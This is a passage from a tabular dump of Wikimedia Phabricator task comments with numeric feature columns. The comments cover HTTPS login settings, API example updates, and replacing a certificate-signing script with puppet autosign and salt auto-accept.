[[https://gerrit.wikimedia.org/r/219265]]",,,1438109709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.92,"Change 219265 merged by BBlack:
No need for wgSecureLogin on our wikis, HTTPS is forced everywhere

[[GERRIT_URL]]"
495646,Switch $wgSecureLogin to false for WMF wikis where https is forced,https://gerrit.wikimedia.org/r/#/c/219265/ still waiting for review...,,,1437660816,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.5,1.0,URL still waiting for review...
477675,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 219265 had a related patch set uploaded (by BBlack):
No need for wgSecureLogin on our wikis, HTTPS is forced everywhere

[[https://gerrit.wikimedia.org/r/219265]]
",,,1434664813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.875,0.90625,"Change 219265 had a related patch set uploaded (by BBlack):
No need for wgSecureLogin on our wikis, HTTPS is forced everywhere

[[GERRIT_URL]]
"
103015,Update all example API requests to use formatversion=2 and https,"(this may be a duplicate)

`formatversion=2` in API requests gets a cleaner better response. It's the recommended future, so we should show it in all API requests, both on-wiki and in generated `getExamplesMessages()`. Related, ApiSandbox needs to support formatversion (T98083) and default it to on.

Similarly, Wikimedia wikis are transitioning to only supporting https, including api.php, so all sample API URLs that show `http:` as the scheme should switch to `http`**s**`:`. The {{ApiEx}} wiki template and generated `getExamplesMessages()` don't show the scheme.

(We also should have shown `continue=` in all examples to encourage the improved continue format, but that will become the default in July 2015.)",Needs Triage,90.0,1434663096,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-4ekvfxba25emo7vvb66n,task_description,open,True,c3,2,False,False,,-2,True,2.0,0.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,4.0,0.5,0.0,0.5,0.0,1.0,1.0,3.0,8.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,2.5,1.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,13.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,5.0,1.0,12.5,0.5,3.0,8.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,2.5,8.0,5.5,0.0,0.0,0.0,2.5,0.0,0.5,1.0,0.0,2.0,1.0,0.0,0.0,4.0514705882352935,0.7279411764705883,"(this may be a duplicate)

CODE in API requests gets a cleaner better response. It's the recommended future, so we should show it in all API requests, both on-wiki and in generated CODE. Related, ApiSandbox needs to support formatversion (T98083) and default it to on.

Similarly, Wikimedia wikis are transitioning to only supporting https, including api.php, so all sample API URLs that show CODE as the scheme should switch to CODE**s**CODE. The {{ApiEx}} wiki template and generated CODE don't show the scheme.

(We also should have shown CODE in all examples to encourage the improved continue format, but that will become the default in July 2015.)"
1377261,Update all example API requests to use formatversion=2 and https,@Dikshagupta99 this might not be a great task to look at as part of Outreachy. I'd suggest looking through #good_first_bug tasks and pull from there. You could filter by #core_platform_team. Let me know if I can help more!,,,1571854503,,PHID-USER-hx7mn7y7biqi3oacdwpe,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,224,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,2.0,2.0,4.0,0.0,0.0,2.0,4.0,18.0,0.0,0.0,0.0,9.0,18.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,4.044444444444444,0.9111111111111111,SCREEN_NAME this might not be a great task to look at as part of Outreachy. I'd suggest looking through #good_first_bug tasks and pull from there. You could filter by #core_platform_team. Let me know if I can help more!
1377002,Update all example API requests to use formatversion=2 and https,Hi. I'm Diksha  and I'm an outreachy applicant. I want to contribute to this project. May I know the repository name of this task?,,,1571839229,,PHID-USER-cfdbrbvdqbcjhtvdpbca,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,224,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,13.0,10.0,3.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4516129032258065,0.7419354838709677,Hi. I'm Diksha  and I'm an outreachy applicant. I want to contribute to this project. May I know the repository name of this task?
986784,Update all example API requests to use formatversion=2 and https,"Change 400074 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[mediawiki/core@master] Add formatversion=2 to all API examples

[[https://gerrit.wikimedia.org/r/400074]]
",,,1514068684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,129,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.945945945945946,0.8108108108108109,"Change 400074 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[mediawiki/core@master] Add formatversion=2 to all API examples

[[GERRIT_URL]]
"
102504,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","autosigner.py automatically signs labs puppet and salt CSRs.  

This can instead be done via https://docs.puppetlabs.com/puppet/latest/reference/ssl_autosign.html and https://docs.saltstack.com/en/latest/ref/configuration/master.html#auto-accept along with a nova plugin maybe that deletes the key when an instance is deleted.",Needs Triage,90.0,1434386118,1435870427.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-xotjpinwg4mzuwx3cadk,task_description,resolved,True,c3,2,True,False,True,-3,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,11.0,3.0,6.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,4.4,0.9142857142857143,"autosigner.py automatically signs labs puppet and salt CSRs.  

This can instead be done via URL and URL along with a nova plugin maybe that deletes the key when an instance is deleted."
485858,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220306 merged by Andrew Bogott:
Switch on salt auto_accept for labs.

[[https://gerrit.wikimedia.org/r/220306]]",,,1435869158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.857142857142857,0.9047619047619048,"Change 220306 merged by Andrew Bogott:
Switch on salt auto_accept for labs.

[[GERRIT_URL]]"
485848,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218380 merged by Andrew Bogott:
puppetmaster: Enable autosigning puppet certs for labs

[[https://gerrit.wikimedia.org/r/218380]]",,,1435868627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.454545454545454,0.8636363636363636,"Change 218380 merged by Andrew Bogott:
puppetmaster: Enable autosigning puppet certs for labs

[[GERRIT_URL]]"
484414,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220305 abandoned by Andrew Bogott:
Turn on puppet autosigning on labs.

Reason:
Dropped in favor of https://gerrit.wikimedia.org/r/#/c/218380/

[[https://gerrit.wikimedia.org/r/220305]]",,,1435687885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.7333333333333334,0.8,"Change 220305 abandoned by Andrew Bogott:
Turn on puppet autosigning on labs.

Reason:
Dropped in favor of URL

[[GERRIT_URL]]"
480828,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218379 abandoned by Andrew Bogott:
salt: Allow salt master to auto accept salt keys

Reason:
replaced by https://gerrit.wikimedia.org/r/#/c/220306/

[[https://gerrit.wikimedia.org/r/218379]]",,,1435162615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.7419354838709675,0.7096774193548387,"Change 218379 abandoned by Andrew Bogott:
salt: Allow salt master to auto accept salt keys

Reason:
replaced by URL

[[GERRIT_URL]]"
480827,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218383 abandoned by Andrew Bogott:
labs: Have salt master auto accept keys

Reason:
relaced by https://gerrit.wikimedia.org/r/#/c/220306/

[[https://gerrit.wikimedia.org/r/218383]]",,,1435162591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.7586206896551724,"Change 218383 abandoned by Andrew Bogott:
labs: Have salt master auto accept keys

Reason:
relaced by URL

[[GERRIT_URL]]"
480339,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220306 had a related patch set uploaded (by Andrew Bogott):
Switch on salt auto_accept for labs.

[[https://gerrit.wikimedia.org/r/220306]]
",,,1435093577,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 220306 had a related patch set uploaded (by Andrew Bogott):
Switch on salt auto_accept for labs.

[[GERRIT_URL]]
"
480338,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220305 had a related patch set uploaded (by Andrew Bogott):
Turn on puppet autosigning on labs.

[[https://gerrit.wikimedia.org/r/220305]]
",,,1435093576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,3.7142857142857144,0.8571428571428571,"Change 220305 had a related patch set uploaded (by Andrew Bogott):
Turn on puppet autosigning on labs.

[[GERRIT_URL]]
"
480279,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Moritz, can you confirm that salt auto-accept and puppet autosign don't seem dangerous? ",,,1435089682,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"Moritz, can you confirm that salt auto-accept and puppet autosign don't seem dangerous? "
475632,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Note that the existing cleaner script does some validation, checking for pathological cert names and verifying that instances actually exist before signing.  I'm not sure that matters though.",,,1434469806,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,4.96969696969697,0.9090909090909091,"Note that the existing cleaner script does some validation, checking for pathological cert names and verifying that instances actually exist before signing.  I'm not sure that matters though."
475628,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept",This seems fine.  The puppetsigner script still does useful cleanup work -- we'll need to prune and rename the puppetsigner to 'certcleaner'.,,,1434469683,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8571428571428571,This seems fine.  The puppetsigner script still does useful cleanup work -- we'll need to prune and rename the puppetsigner to 'certcleaner'.
475394,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept",Adding Moritz to check security impact,,,1434452138,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.5,1.0,Adding Moritz to check security impact
474806,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218383 had a related patch set uploaded (by Yuvipanda):
labs: Have salt master auto accept keys

[[https://gerrit.wikimedia.org/r/218383]]
",,,1434387380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7142857142857144,0.8928571428571429,"Change 218383 had a related patch set uploaded (by Yuvipanda):
labs: Have salt master auto accept keys

[[GERRIT_URL]]
"
474800,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218380 had a related patch set uploaded (by Yuvipanda):
puppetmaster: Enable autosigning puppet certs for labs

[[https://gerrit.wikimedia.org/r/218380]]
",,,1434386938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.25,0.8928571428571429,"Change 218380 had a related patch set uploaded (by Yuvipanda):
puppetmaster: Enable autosigning puppet certs for labs

[[GERRIT_URL]]
"
474799,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218379 had a related patch set uploaded (by Yuvipanda):
salt: Allow salt master to auto accept salt keys

[[https://gerrit.wikimedia.org/r/218379]]
",,,1434386765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.8333333333333334,"Change 218379 had a related patch set uploaded (by Yuvipanda):
salt: Allow salt master to auto accept salt keys

[[GERRIT_URL]]
"
102477,login script -pass parameter ignored,"The `-pass` parameter (in both variants) is ignored and the buffered password in the login script is never used again.

